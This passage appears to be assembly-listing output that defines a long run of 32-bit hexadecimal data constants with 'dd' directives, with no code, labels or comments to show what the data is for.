		dd 64E6AAA1h, 1506C900h, 271F7E3Bh, 0FDF0092Dh,	0C912445h
		dd 81D0708Bh, 6CC7FB25h, 40F49648h, 0AC67BBF1h,	0DC1FBC00h
		dd 0CD1C8013h, 88523D95h, 0C4EC4702h, 4444DFABh, 9689CE22h
		dd 0C8A340C8h, 5A006645h, 98723F38h, 0DDB64DDEh, 0F1E8C428h
		dd 0E4A2FEh, 4DB25ED9h,	1DEB4F79h, 412B5624h, 0EA574E20h
		dd 1AE07752h, 874935FBh, 0C3E402F8h, 89008CB9h,	0E7EA2F36h
		dd 4316C507h, 4021A6A9h, 0B17E308Dh, 0DAF3C1EDh, 2CC544E2h
		dd 0C4D52113h, 97C5CB3h, 387D1F92h, 9C59046Ah, 0A640542Eh
		dd 27DA977Ah, 10235EC4h, 285E93A1h, 0D7990830h,	186E007Ah
		dd 0C325E882h, 260806ADh, 80DC2D63h, 0CBC16776h, 0ACAC0A8Eh
		dd 0EEAC39h, 153C97D2h,	27BBE8E1h, 0BC21C05Eh, 105547A1h
		dd 0F23054D5h, 499F641Dh, 1F54A2BBh, 0F1D19CAh,	0C0ABB84Eh
		dd 3B1BD74h, 0FE5C0565h, 0B2CA752Fh, 642800ACh,	2AC0B6D1h
		dd 0F37B025Ch, 8A20F877h, 0E55FE440h, 8BFE40h, 0FD6A2DC5h
		dd 18DC72ACh, 5CE2A17h,	0C0C42CC4h, 726DF4D8h, 0B3870085h
		dd 0F8A5A6DFh, 6F22D11Bh, 47FD1DB0h, 246B4E40h,	3A682D41h
		dd 84302F0Bh, 2C9DCAAh,	0AFB306A8h, 0A0AB3C11h,	7D002064h
		dd 0E2419A7Ch, 28EFD284h, 44445A1Fh, 3B009D96h,	0BB5098C5h
		dd 62DB6Ch, 7B8C4EB9h, 57F1D8ABh, 673A2C13h, 8C893817h
		dd 2ABA60h, 243E1AACh, 5A388BF0h, 25433001h, 0D6B18D7Ch
		dd 823D8C7Dh, 4C67C850h, 2A228CEFh, 0C415FA24h,	0DD30A2EBh
		dd 58182B4Fh, 87190CAEh, 0FB40E234h, 9424202Eh,	200CCABh
		dd 0C5111C90h, 17B954Bh, 21CB4CEBh, 686FE832h, 8EFEC89Ch
		dd 7A213ECDh, 0F463F482h, 9D1EE038h, 0D815CABh,	6D2BBC9Fh
		dd 96EDC848h, 0C2A760B0h, 0F517FFA4h, 3305A0F1h, 0D4F273AAh
		dd 0D3DC441Fh, 4CBCD2FDh, 948ABE20h, 8DB43B99h,	24683625h
		dd 931EFA1Fh, 2D002350h, 0CF746753h, 56C7824h, 0AFAA7841h
		dd 0A0988852h, 0A78B88h, 0CF75E065h, 7BAAFF69h,	0B027E52Eh
		dd 92E91280h, 0B4FE5405h, 0F717C010h, 800566A4h, 6C28CE40h
		dd 1431708Dh, 0C327B433h, 0AF441C4Eh, 0E2A00068h, 0CE083BB2h
		dd 532F91A2h, 9348434h,	8DA77D40h, 245EAF5Eh, 5334E411h
		dd 49250364h, 0E01DDF1Ah, 821C1101h, 0C8618CE2h, 6FA1030h
		dd 2778B957h, 198E9CA2h, 15E05C54h, 43D7DFh, 1F8C9329h
		dd 5EAB0970h, 0FEC2B000h, 0A8A52361h, 0B0989218h, 0E97712BFh
		dd 1DDC900Fh, 2A009806h, 9EE4FE71h, 21C3B5h, 3575DAD9h
		dd 0DFFBCFCDh, 6B128701h, 0CE9380F2h, 4B48E4CAh, 0A964287Bh
		dd 0E71709Fh, 11EA4476h, 2DA19162h, 0F44898A9h,	20968CAh
		dd 907BAD8Bh, 9A844F4h,	7E828C54h, 0C01DCCF1h, 420E912h
		dd 0F44E57B7h, 95FB05EDh, 0E232F445h, 1C8438Ch,	7483FDB8h
		dd 58EC1F5Fh, 6E6D3A34h, 0E4A93227h, 65804C98h,	2400D8F8h
		dd 0F5E8B6ABh, 84C6051h, 55B426E4h, 8932CE08h, 0ECF26172h
		dd 0E5902C1Eh, 80B93841h, 60CEF0DBh, 9F1104Bh, 19F83C79h
		dd 0F871FC3Ah, 66194542h, 40C74214h, 72884514h,	7B1C84BAh
		dd 9C80D250h, 0EF44429h, 800C93FEh, 0A24F133Dh,	0C2070C0Ah
		dd 0F793AABAh, 150956D0h, 7FA501DCh, 5A2BE054h,	8948680Bh
		dd 115CD910h, 0FBBB0A0Dh, 60284C20h, 368D6B12h,	32240091h
		dd 0DDBC3015h, 0C50381DBh, 95B28A4Fh, 20D12AE3h, 238E437Ch
		dd 0B16024BBh, 10682C78h, 0C03A28D2h, 0B36C8BE9h, 594B7E44h
		dd 5E53248Ch, 8D303076h, 924E64CFh, 0C674584Bh,	0B7F40084h
		dd 73467DDEh, 45888BE2h, 3FB2F9Bh, 0F812F030h, 0F959281Ch
		dd 0B7040C64h, 38AD990Dh, 5C1F8B0Dh, 7002D41h, 29A63098h
		dd 500F19E0h, 5998A29Fh, 0C71C8040h, 0C6733F40h, 6D372900h
		dd 26B4AFA1h, 0A880A889h, 25C2E0ACh, 486938EBh,	0E4A0174Ah
		dd 139ABE0Dh, 0CCE1B3DBh, 0D67876A8h, 0F8C682h,	9BA95FFFh
		dd 5693EEDFh, 80B7063Ah, 6D78BABEh, 544EB8ABh, 27A39030h
		dd 0D490442Fh, 51DE67A4h, 0D6197C03h, 293E2530h, 0E3C2F490h
		dd 78E985Ch, 0B1A40886h, 7611A120h, 0ACC70469h,	8C7FABCBh
		dd 8D1C5A34h, 0EF44B7ADh, 2CCCA129h, 0E490B5BBh, 79009F6Eh
		dd 46B2F956h, 0FE8E7DDAh, 743825E4h, 0E8CF64C0h, 21200E02h
		dd 2009E9A4h, 60B479B2h, 8E377800h, 0EDE4B3AEh,	0CF240029h
		dd 7E33A153h, 0C102B039h, 59C2F4Eh, 2CB4C65Ah, 1C2B86B4h
		dd 9EB6004Ch, 609D8046h, 0E7FD4B00h, 6D5D2314h,	0E01D4D7Dh
		dd 5466100Bh, 8D81C890h, 71D63000h, 0B77D11Dh, 8380BC7Ch
		dd 0DCFE2524h, 81E70D90h, 28B81F66h, 0D1A32479h, 0CDBE6010h
		dd 95001E2Bh, 91A0D536h, 192D86h, 0EBC91A4Ah, 6B21FCA1h
		dd 0E704ACFCh, 6CCFF384h, 14CB8084h, 0DFF64600h, 3F51EB15h
		dd 0AE0042FAh, 265D7C76h, 18DD6h, 417B877h, 2209B1BBh
		dd 0C7206B5Ch, 0E0208A61h, 0E444C6Eh, 49D90183h, 4862B7E0h
		dd 19018C74h, 0F590FACAh, 306EBB6Bh, 0D93099F4h, 1776243Ch
		dd 782336B8h, 1841F06Dh, 7CA20001h, 8921755Eh, 98124EC2h
		dd 0DCA206CAh, 0D9F91Fh, 859B64E0h, 0F411D0D6h,	0B00E4C62h
		dd 0E9C0C3EAh, 5821E8C8h, 0A936809h, 30F41042h,	0EA88A82Dh
		dd 0F4F4E097h, 36630184h, 92ED3181h, 6AE861F5h,	0EF3F8430h
		dd 4AF0F52h, 0E392C202h, 0B087D6A8h, 0DB41FE51h, 0BA72E030h
		dd 8C452824h, 4C30B7A0h, 0C87D0284h, 6F014EF2h,	0BE8F1E53h
		dd 6420789Dh, 0DD1F4081h, 79D71605h, 0A800FB7Eh, 9CEFC48Ah
		dd 1FEE0CA0h, 0B3B1F4D9h, 3C463C45h, 5C207BB6h,	4622C438h
		dd 87545C1Fh, 0C1E90AC0h, 0BCDA63h, 0A456AD5Ah,	45FD7E64h
		dd 0A259A800h, 5D1F80DCh, 22A15B0Bh, 8913C5C8h,	203BCBE7h
		dd 0FD99DD0h, 7BFA070Ah, 8C40C8A6h, 1E124942h, 0CFE03A4Fh
		dd 0F9E0E867h, 0CDDCD851h, 770C6917h, 4DEA80C8h, 0C041B852h
		dd 0EB3C226Fh, 0DC087419h, 0B09567F0h, 102C8ECh, 163EAFBAh
		dd 78CF190Ah, 0C0A57258h, 0B09DF080h, 3A06CF63h, 0ED8435FFh
		dd 0C0C855E8h, 2ACEBAD4h, 4C483976h, 4A4500E0h,	0FD8A6CEBh
		dd 9180555h, 0CCA4C805h, 62E22748h, 9F00A870h, 5D7B2E22h
		dd 58C2FA5Eh, 0E7847431h, 2500F7F9h, 155665h, 0F684826h
		dd 0D9097CEDh, 89BB695Ch, 1BB4093Bh, 0A678F048h, 0DD4B3A80h
		dd 0EBDF6880h, 0DBC521ECh, 0F5A5F102h, 0F48C4445h, 27E8701Ch
		dd 4F78408Ah, 0A018828Dh, 8A000A84h, 8CC983ACh,	5CAF3A31h
		dd 47803CA6h, 7D699BB1h, 0A954E700h, 0A513E196h, 2A2C021Ah
		dd 7FBCCA2Dh, 0B0F15442h, 0C8F16D00h, 7AA4EFh, 2A9A78A0h
		dd 9521C079h, 0AB3A2900h, 22F5C5Fh, 2727EFEh, 0DF12B5F0h
		dd 6B0206CCh, 0A39C9E0Bh, 0D2E180D1h, 0C9600ACh, 0FDC7E25Fh
		dd 0B41E5DFCh, 0E785375Eh, 0D4047A5Ch, 0C1139428h, 0C8B619CCh
		dd 8F25D454h, 1E0010FDh, 1D0D0072h, 89B38DA3h, 0CA005DE9h
		dd 98AA7F5Ah, 0C0813577h, 0C8B71040h, 0A290611Dh, 0B63A4C00h
		dd 0FB64C02Bh, 0BC014850h, 864932Dh, 0C97F360Bh, 0E7301073h
		dd 0CCD9C56Ah, 80C0B810h, 13332D82h, 6934245Bh,	8476009Ch
		dd 0C7FB9945h, 0D024A55Ah, 58B61CE8h, 489FAA3Ch, 55301094h
		dd 63E9AC00h, 615132FCh, 1804E830h, 7B07DD88h, 0A3E00095h
		dd 114B22F3h, 50B81A6h,	84F7DA0Dh, 0CCE81B94h, 688945C0h
		dd 6A036FC7h, 508B8672h, 0C51EF10h, 31800FADh, 0DD4075B1h
		dd 39167633h, 884ECA10h
		dd 1C8AB694h, 0AED1210Eh, 0C7023D60h, 360BFBEDh, 9F27A22h
		dd 62B01195h, 3D001029h, 0D364B996h, 0C8BEC2A7h, 202AEE59h
		dd 0B905D210h, 301C9D03h, 880E9380h, 0B90B719h,	4595FC6Ch
		dd 0AF8CEC98h, 0A707100h, 4651AE26h, 812728CCh,	48B6FECCh
		dd 0F9C0147Fh, 51AA9EE2h, 536D8E1Fh, 0D5486740h, 753E608Dh
		dd 0FC909D76h, 3D006BAEh, 29191688h, 90FA3B7Ch,	4EA4B1ACh
		dd 6891C888h, 0C69D5A00h, 0ABD94C32h, 419B2F05h, 6CEC29A2h
		dd 8AF07C94h, 1E098D9Dh, 0D9E2F76h, 503158B7h, 0A02BF2E0h
		dd 78CC7ECCh, 436D0477h, 0A2408E44h, 10CA5AC0h,	0B1CAB009h
		dd 0D6F56480h, 43002451h, 892F539Bh, 5A0B7205h,	83456B3h
		dd 33849AE0h, 3CFD938Eh, 0EE070E88h, 15D2E9FEh,	0F474C021h
		dd 119B3C23h, 0C1564389h, 6879A00Bh, 0EEA63001h, 8441F277h
		dd 30692087h, 4D15FA09h, 650E9871h, 0B74160EFh,	3510FFEh
		dd 36554FB6h, 0A1009BE9h, 0BEB3A74Dh, 648566h, 7D846B94h
		dd 781C6E61h, 1A2B1925h, 42804178h, 0C4350E10h,	18C31F00h
		dd 498C63A0h, 3EB602F4h, 6A783AA1h, 0A0F17C80h,	830F6D39h
		dd 0F2FB059Fh, 0EFF88C8h, 14476C49h, 0F1977B3Eh, 4630D16Eh
		dd 0D1B0D802h, 0DF31AB0Fh, 608C8F2Eh, 2316F99Eh, 36BA2AA7h
		dd 3F9944ECh, 0A4E99029h, 0BE1F1424h, 8C602896h, 0D753C3h
		dd 0A9FEDBABh, 36E22FEBh, 7600D4B1h, 23E85BD0h,	9E7079B4h
		dd 181F01E4h, 31A47E38h, 75C3938h, 99298A8Bh, 0CEFBDD30h
		dd 45FE015Ch, 445E3AF5h, 90282E23h, 0F6B700B4h,	0B0AA362Eh
		dd 0C3003715h, 906491D3h, 5BAEA7h, 5E733453h, 45AD0BD5h
		dd 0F1F0129Fh, 5DA800FCh, 43294220h, 0DE2F8B00h, 807269FEh
		dd 1A0AEA8Ah, 0D1AA3581h, 970434F6h, 6088986Fh,	0F5823C6Dh
		dd 865AB580h, 0DA57CDCAh, 9F48806h, 5C81326h, 940B2F72h
		dd 522CD0EBh, 2D0FB89Bh, 32D98F76h, 0B701DCE2h,	785F063h
		dd 3F67F834h, 8B424500h, 73CD4CDCh, 6EB050Bh, 88E9A777h
		dd 0B90FB558h, 407BFF20h, 0AD46CEFAh, 349500C2h, 846573DCh
		dd 7909A75Dh, 40E1CA20h, 1E7F52E8h, 87A6261Ah, 0BF5E06h
		dd 27E4D494h, 102588B9h, 127291A4h, 0A89C88FBh,	0C0DC9060h
		dd 0A319762Ah, 0F70C00BFh, 53ADFF78h, 9E1D1D95h, 65C02D1Eh
		dd 0FA3D25CAh, 50CC0052h, 0AADDE886h, 18E41E9Dh, 8D06B074h
		dd 8EA7931Dh, 0C9E10038h, 2E7CF41Ch, 89186C51h,	8D30331Ah
		dd 6E300D3Dh, 0E060A7CFh, 5009A7Dh, 1144E24Ah, 60924212h
		dd 0ACE549A4h, 1C00477Dh, 5C33FF3Fh, 0A375DF7h,	0AE2E9DA7h
		dd 89113Ch, 136AF4BAh, 184D6F82h, 0A98AE892h, 7A00DF2Eh
		dd 852CF6ADh, 0C016B601h, 83C6E881h, 80009AA4h,	12841143h
		dd 73039F1h, 71202661h,	1A05007Ch, 7F54ACADh, 0A060B68Ch
		dd 0D15A8F41h, 0B6CFCF5h, 0CFFA8154h, 0D3945C00h, 0E100B230h
		dd 31057DD9h, 60072EFDh, 0F6A3911h, 0F91D9D78h,	0D00C59FBh
		dd 1FE9D19Bh, 0C1B217Ch, 3F718781h, 0A493DF00h,	7E9805F8h
		dd 0AC253EFCh, 3321C0FAh, 0A85D6FDFh, 1AFEFF0Fh, 989400D4h
		dd 9AE7C5h, 0B3D32001h,	931702ACh, 0F1982D54h, 19BCB600h
		dd 1F9E561h, 6450340h, 148E399Ah, 0C59C5805h, 0B4481F46h
		dd 66CC80B1h, 3AB79821h, 414DF700h, 0E1435E65h,	0B62C01A4h
		dd 31ADCDC3h, 7E3180A6h, 92C63B46h, 89FF0573h, 4098CF3Ah
		dd 0DAD1DC84h, 0A30399D5h, 0B2A92FEAh, 1B2EB05Ch, 0F114629Bh
		dd 204845B6h, 6F0C30Ah,	80E1ABFCh, 0D2347CF8h, 718E6631h
		dd 0BB1B3127h, 50A1E939h, 3B1CFA90h, 0F65C7A03h, 0D065FEC7h
		dd 600C2EFBh, 0F73D89A5h, 2F1A4F5Eh, 87B927ACh,	20C0341Ch
		dd 1E01FBDh, 599CCE21h,	0D0FF8932h, 4B182DF8h, 5831A195h
		dd 5431407h, 870CB43Ah,	23499DE8h, 0C8A3B2FEh, 0CF725D8h
		dd 0BF4DD600h, 2457DAEAh, 38FC8Fh, 16085CA7h, 6AFD3BB8h
		dd 690E0EE0h, 60350250h, 0E8031EFAh, 8BC404B3h,	428832BAh
		dd 0E07A457Eh, 61CC11h,	0DC2201E1h, 170F91BDh, 0DE1EA604h
		dd 3091AC47h, 16DC6050h, 942E008Ch, 4617BF8Fh, 2505A909h
		dd 9A92562Ch, 88B36807h, 2223A180h, 8A9C3EBBh, 542FEE1Ch
		dd 5FC09CA2h, 0A861E57Ch, 124F481Ch, 0F414350Fh, 30BA158Ch
		dd 0DF2C0354h, 806CCD8Ah, 54F0199h, 152EFE14h, 0B5F04750h
		dd 0CF4840FBh, 8C0A4D30h, 20A71ABAh, 365A0C83h,	816EC327h
		dd 898012B6h, 9143710h,	8652B342h, 57E807FCh, 0C7A089EDh
		dd 4C340FEEh, 251E00CFh, 1D00A047h, 0B1FC7D7Bh,	4BA8230h
		dd 284893A5h, 9130C847h, 4539A807h, 98405ECEh, 4173AC1h
		dd 8D685D67h, 1505009Dh, 64B5F914h, 0C260C95Ch,	0B0616353h
		dd 4C1DD02Ch, 0E90C6891h, 0E1A197h, 8E71B220h, 0FFB11138h
		dd 87078C7Eh, 0E88B6685h, 900064C5h, 5FADBE45h,	0FBFF3EB7h
		dd 0F081D04Ch, 603A1850h, 8E14592Ch, 80CC1710h,	1520CA30h
		dd 98744CFBh, 0A6099A22h, 824BC21Ah, 21F41348h,	51A3923Dh
		dd 0D8502AB4h, 0C10044DBh, 2016FC5Dh, 759B94F3h, 0B27E014Eh
		dd 7F6537F1h, 261860A6h, 369CA244h, 186997DCh, 60B58E44h
		dd 1A376914h, 78003FFBh, 172EA752h, 9026F931h, 0C25F39B4h
		dd 29CF34CCh, 8BE60716h, 0DE16A038h, 0F407F07Fh, 0A1536370h
		dd 0B5CC2000h, 430E057Eh, 20188E51h, 63889480h,	0F167E401h
		dd 0AD89B501h, 7EE64C00h, 0FD4CF52h, 20BFF34Eh,	3DFD6A13h
		dd 0D31930ADh, 0C1089EC0h, 9C1AE0C4h, 61AFB646h, 30BB1100h
		dd 62B2BAC7h, 0D28B015Ch, 0D72D79F6h, 9DD56022h, 21B12309h
		dd 0DF050551h, 0C82C024h, 0F55520A3h, 72002475h, 5A7B09A6h
		dd 31BD37h, 4F93F6B0h, 0A42D89ECh, 33AD2B16h, 37E8C20h
		dd 1A670DDh, 2FB1CBD0h,	8C9C2213h, 69964760h, 52CC0134h
		dd 386E4F5h, 23D051BFh,	0E8A6109Ah, 0C096898Ch,	0C5292275h
		dd 6C8FC0FFh, 3B46EEBh,	0E04A563Bh, 0CDCCF9h, 37F6AC83h
		dd 923107C8h, 9631A260h, 17BBC34h, 1B94A5B8h, 0D2DE3651h
		dd 0CA468A60h, 8B5E6000h, 5CA920F8h, 0A1C7E038h, 9432E9C4h
		dd 157DCD00h, 2EB27752h, 0F78B9000h, 0A6D402C8h, 50DAB0E7h
		dd 90A36018h, 0B4473064h, 90E35111h, 2C96303h, 0D059DAFBh
		dd 99A4212Eh, 1CD88FC4h, 0C8A2CB01h, 0F12DEC65h, 87E4B00h
		dd 1277FA26h, 2F841349h, 0E948301Bh, 0D0539CF9h, 0CCB3799Ch
		dd 37F3F088h, 0A2408828h, 745C431Ah, 0A48B0986h, 0DC1081FEh
		dd 0D8001253h, 1B0CD14Dh, 7DBA016h, 0DF246128h,	0F6830B57h
		dd 80C401ACh, 132177D4h, 634C8678h, 85B0C04Ch, 2410Fh
		dd 0B44B606Dh, 78E2A5BFh, 5FC7E910h, 5FA9B612h,	3835C058h
		dd 5E1B47C4h, 0F7660800h, 0ED3ACD57h, 0A44FAA1h, 929C6950h
		dd 25AD42A8h, 0A2057481h, 44E4705Eh, 0BC925C84h, 280B1F80h
		dd 0AE090FACh, 8A1B918Bh, 9C06EC0Ch, 5C51B194h,	0F3800893h
		dd 49CF1BAEh, 0E7B6D702h, 29A50E2Fh, 5FA71884h,	98212217h
		dd 0C5CB2CAAh, 0C318B414h, 0AB352A9Ch, 0BFF7F0A1h, 7A00540h
		dd 807F8CCBh, 62610ED1h, 319EE830h, 0FE57C4h, 0B5AD4904h
		dd 5E0F6FD2h, 7445E100h, 0AACD2F21h, 8CAC91FDh,	7CF1CC1Ah
		dd 25056C99h, 88028442h, 0B08F2006h, 73911194h,	0E9270494h
		dd 8031434Bh, 0DDA9E510h, 2F01C001h, 4607FE8Fh,	709724E1h
		dd 19441F6Eh, 0EDBA6959h, 0F40005D3h, 11789427h, 0B37C14BCh
		dd 0A6058C44h, 265D072Eh
		dd 47F2B0C4h, 0CD4775Dh, 916927ADh, 0A0BA54B6h,	0DB080003h
		dd 413A2CC8h, 631DA0AFh, 92B94CBCh, 78301D2Fh, 25129C33h
		dd 142918AEh, 405B9804h, 91ECEB1Ah, 81FA0941h, 3C804723h
		dd 1BAC4B2Eh, 373D2899h, 0FB8331DBh, 51D9B22Ah,	7F454224h
		dd 51F6FBE0h, 0E1418300h, 0B8C3978Fh, 0D09C90B4h, 4006078h
		dd 4D6E025Fh, 647443DAh, 0D7C8DC00h, 9D7CE7BFh,	71A8633Ah
		dd 61002F93h, 0C644F5D6h, 0FB3691h, 413F6C2Bh, 217C42A2h
		dd 0CCCAF626h, 9482C8E5h, 1BAD27ABh, 40E46C12h,	0A1BB490Fh
		dd 0D7BEE45Ah, 0E91564A0h, 4A6D1040h, 65130970h, 0D80466F0h
		dd 0BD1A40B1h, 710C979h, 2BF43FEDh, 30477033h, 321A270Dh
		dd 60BE861Ah, 88110ECCh, 240ECCD7h, 9FBF7D5h, 42000A18h
		dd 0A02DAD06h, 0B81618E9h, 0BC6931A1h, 24064100h, 1D7AA5BDh
		dd 0ADDCE5DAh, 7E894431h, 0C3D0E8D0h, 0AECF70h,	32698C41h
		dd 3339053Bh, 9251AB05h, 84406AE8h, 0BE02A906h,	7ED200E0h
		dd 0DDF3075Fh, 9C1E9482h, 0F1808D22h, 612639Eh,	8C1648D7h
		dd 9921CC9Fh, 5901FE71h, 5275FF27h, 90612334h, 0A4B61401h
		dd 5F298980h, 52BC988Fh, 803A3E3Bh, 0BF517AC7h,	1E528B8h
		dd 1FA62622h, 0EC1AF731h, 5269ADE9h, 0FFCC03E1h, 3D64E0F8h
		dd 1F5F0AACh, 409835AEh, 63212715h, 289A7E73h, 3E1CA344h
		dd 0AF80286Bh, 68A4DCE2h, 1100E193h, 0B5FF027Ah, 16AE3BDBh
		dd 0C3E2158h, 7A399B0Dh, 2BE23300h, 968C8E2Eh, 509406BCh
		dd 98BEA1D9h, 3C143520h, 54489D9Ch, 8809A88h, 13818029h
		dd 48320577h, 0D31734D4h, 8C8DD022h, 98172B28h,	0B83209ADh
		dd 16261C27h, 190F603Eh, 0B52211A5h, 4A7F4800h,	77387E76h
		dd 0B47414D9h, 4680BCCFh, 2C3EB259h, 545AEC00h,	524CBD1Ch
		dd 398E7A41h, 1F32B820h, 80680791h, 2D8995ACh, 7DB6420h
		dd 79FBF187h, 4802A11h,	989D5AE6h, 65FE9FA4h, 588F171Eh
		dd 93120E80h, 4BDA1A2Eh, 202C4198h, 30B265C7h, 0E4885B50h
		dd 320DE001h, 0C2309112h, 26AA7C23h, 0EE0EE1h, 0FFDBA5FDh
		dd 0DD035E49h, 0B5D65B9h, 99D5F0EAh, 1E1F0BE6h,	0EF87B8CAh
		dd 0C2C9945h, 6D807988h, 2DBA809Ch, 0E9AC52FFh,	7C908444h
		dd 0EAF92A00h, 9AE23917h, 0D16C00CEh, 0F0B3A5D9h, 9303606h
		dd 32155004h, 9A8AFA9Eh, 0AFAD24ECh, 880A4578h,	30263218h
		dd 0EF6078ABh, 0B9C7FCh, 3A735BCh, 0E801A41Fh, 2FB79A06h
		dd 19291110h, 6807FACAh, 0B461E6ADh, 8769817Bh,	9244B921h
		dd 0C7008832h, 0E8029B12h, 58005467h, 6E64E7E1h, 72910F7Bh
		dd 5B40C8A0h, 1053AD8Bh, 91472D24h, 0D1780034h,	0D00876E7h
		dd 0B3400601h, 0FBBC0D96h, 25FE0824h, 0C4221B2Eh, 90721ABAh
		dd 7A0D0116h, 50106004h, 0BFD4C41h, 2CC443B0h, 96862918h
		dd 2289179h, 0BBFD0C58h, 88C02B19h, 0A8CC39A0h,	0BA259EEh
		dd 97EF0E14h, 189BD807h, 581C9891h, 99C781A4h, 2D2E9C6Ah
		dd 209325FCh, 0C5150CA8h, 485C6490h, 0AC8F08CFh, 0E9C43A74h
		dd 7E34E12h, 36221B00h,	482E71DAh, 0EF1048A3h, 9A5B1116h
		dd 853DB622h, 7520803Ah, 9D1CC0B7h, 7C9953h, 0BF303712h
		dd 0A562212Eh, 59A66648h, 31EF00F0h, 7FB82A80h,	1120F80Fh
		dd 0C568DBD0h, 4CCB024h, 213312F9h, 66640FBFh, 5090E849h
		dd 0F73D5597h, 0B25200BAh, 87DAA3D0h, 0DF2C0558h, 4CE20A0h
		dd 0E8DC5C0h, 0C832372Fh, 81A191Ch, 74A6163Dh, 0B43C20CFh
		dd 4C003B1Dh, 7CD75B37h, 4B5FDF62h, 8738239Dh, 31B2E8A0h
		dd 4C8C4D09h, 857C09FEh, 3C05D24Ch, 0CC3005CDh,	1C489FF7h
		dd 6C277D5Dh, 472604D8h, 0E6D140A8h, 0AD3408h, 4442CBFh
		dd 0B47AB723h, 971C5A7Eh, 0BACABD4Bh, 21006018h, 0D6DD2FD0h
		dd 0BCFF5C25h, 0C1AB6379h, 597FAF7Ch, 0C48C9B00h, 9CDB2040h
		dd 41AC0117h, 8B53D93Ah, 132FFC08h, 8410AB4Ch, 60528935h
		dd 1AFA3D54h, 0C31EE698h, 93B8BC4h, 49C59CD3h, 882996E0h
		dd 0D22A0A00h, 4DA7671Ch, 5D28FF70h, 0BF00B634h, 2EB31355h
		dd 5B717394h, 789C47B6h, 9B3680BBh, 0F9366B1Ah,	39D2382Ch
		dd 24B8F1Bh, 0CD48DE48h, 4C896859h, 0B208485h, 88B49488h
		dd 60009545h, 0F0FB2707h, 17B3791h, 0CD26D321h,	20A317EBh
		dd 630A3277h, 647C7A4Ah, 0C83EFF00h, 179F60Fh, 0CC1F7037h
		dd 0C860C5D8h, 2709717h, 6C0FA5A1h, 0F8084E40h,	3ED805Bh
		dd 58AD853Bh, 5726CD03h, 811CEE1h, 9ACF1DA9h, 2409E426h
		dd 4A682490h, 3BE87CC1h, 0BA11AC64h, 8994238h, 8D1F44D9h
		dd 0C0199481h, 7279CDC1h, 0A0300A00h, 0A698F4C6h, 4C374A6Bh
		dd 0FED9DBA4h, 279D761Bh, 5902C7A9h, 811C432Eh,	7210AEB6h
		dd 0B700BE2Bh, 1A40F368h, 34E67B98h, 81B94C4Bh,	14661BA4h
		dd 1600C8A2h, 0F0D1A889h, 921F615Fh, 2BC30BC9h,	0F0324D39h
		dd 0A05745A5h, 0B61AFFC0h, 94B2628h, 1C111BBAh,	12A4332Fh
		dd 6604B040h, 8D476D9h,	5CD1B41Ch, 0E91BFB00h, 5FAD7867h
		dd 30FFCE2Eh, 8CF9F741h, 4D008836h, 4C701173h, 0B1003421h
		dd 0A720467Eh, 1F08DECAh, 938B52FBh, 0D194589Dh, 7D1E9840h
		dd 0A696AE06h, 176BF88Ch, 88FFAC5Bh, 0BD2D0DD4h, 0B38B57h
		dd 502D08B8h, 48592CFDh, 752C3DF1h, 0F7B76038h,	0D1336EAh
		dd 808826D5h, 67EF1DB9h, 0A95D40E6h, 5BC40A15h,	18F3E550h
		dd 7EAA0600h, 77B86707h, 34EC0261h, 2472FE0h, 96AFCC90h
		dd 5DDC2D89h, 6D061CF6h, 0D4C80927h, 0A002464h,	0A06B1813h
		dd 0C9C7Ah, 6196D7CFh, 4E7C9A14h, 0AD28A562h, 27DC6420h
		dd 54923A9Ch, 90F18C6Ah, 781F6D00h, 1EC272A9h, 2C9A1E21h
		dd 0AFA12C0h, 25C80E5Ch, 0E0706418h, 0A2FC9100h, 743BC690h
		dd 8552091Bh, 10C0C319h, 454BD09Eh, 80A2B048h, 59228F5h
		dd 3400F0CFh, 99F78B3Ch, 7BBA9123h, 16131793h, 368408D2h
		dd 10C8AC12h, 3C988418h, 255FCC01h, 91B80601h, 4AFEBC64h
		dd 234449E8h, 62B2D600h, 3FF819C6h, 9407C526h, 39402Bh
		dd 0E7FA94ECh, 1FFE7C95h, 0E7ADE11Ah, 2D637820h, 615C75FFh
		dd 0B5029F90h, 52B7E631h, 0FFAD0050h, 6A565C17h, 6800A547h
		dd 9B828E25h, 16361CEEh, 88A75DD9h, 490019F0h, 60869CA2h
		dd 1247CDD2h, 668E2D05h, 640B0678h, 10CEC608h, 0B2EE568h
		dd 0E65FC372h, 0B07C5B00h, 5022C55h, 3D962FB5h,	54E89095h
		dd 7F740929h, 7803D4B6h, 0A9B8A1CAh, 40000759h,	552EEDF3h
		dd 5C640BFAh, 4680407Ch, 68693AD6h, 77ED3B00h, 0ADB979FDh
		dd 0E12102A3h, 9E09AC94h, 9644C0E6h, 31BE00D9h,	4B072B97h
		dd 100A730h, 169A3E15h,	0D29C85D6h, 13100829h, 1AA21140h
		dd 0F73400D5h, 0FA3F8851h, 1209CE52h, 0E05DE8A3h, 0B7371140h
		dd 0AC214000h, 145B3C52h, 72867C60h, 93BE0F4Ch,	0C4A7835Bh
		dd 0BC7410A1h, 0D33DF13Bh, 0AE4061BFh, 28228F17h, 46D10E02h
		dd 4617B54h, 40F7122Ch,	1CE024EEh, 2EF5227h, 9405C62Fh
		dd 0C51F1C61h, 8089911Eh, 2F0C2D00h, 96895657h,	0D7872CBEh
		dd 0A37AD98h, 0E8EDCD53h, 4FD6DBh, 1EFEC818h, 131CF9B7h
		dd 8F36535h, 63704100h,	0EA3409B5h, 0CA9E1EFDh,	1647818Dh
		dd 0D47BC278h, 38C08ECEh, 618045B3h, 0D77F011Eh, 293BB4A6h
		dd 0E08BC00Ch, 0BA962200h, 5A110473h, 60AD6051h, 524FEF9h
		dd 10D7AA00h, 89756743h, 588D003Bh, 20DA8BC9h, 0A900FC0Ah
		dd 22434E1Eh, 1DC28C4h
		dd 0C281A1A3h, 0F05F7915h, 0CB013F8Fh, 0D3A423F0h, 0D8CC7B33h
		dd 1CBF0091h, 67B0FCF4h, 3218034Ah, 6049A580h, 1E79183Fh
		dd 46891149h, 0DE072700h, 2E5572EBh, 99E21E91h,	0D2BC00ACh
		dd 0CE951196h, 0A14AF700h, 0EFA803FDh, 9CFF009Fh, 0CD5FAB32h
		dd 5716C8EAh, 603A943h,	0C43628h, 1E34C210h, 5644316Eh
		dd 68F471C0h, 74F7E6B5h, 28396F93h, 2151E386h, 730E1300h
		dd 3290465Ch, 194F6086h, 0B4725F1h, 0C2456808h,	8D1540E3h
		dd 29E83C6Ah, 0F8BDA006h, 0F8139CDh, 9C2CDFCFh,	4574A8E3h
		dd 85461EE9h, 14F81939h, 0D8C56FC0h, 0C15800A4h, 0C05C4DD1h
		dd 0FF6C46Dh, 51DCB50Fh, 54382A92h, 96004A11h, 8CB74023h
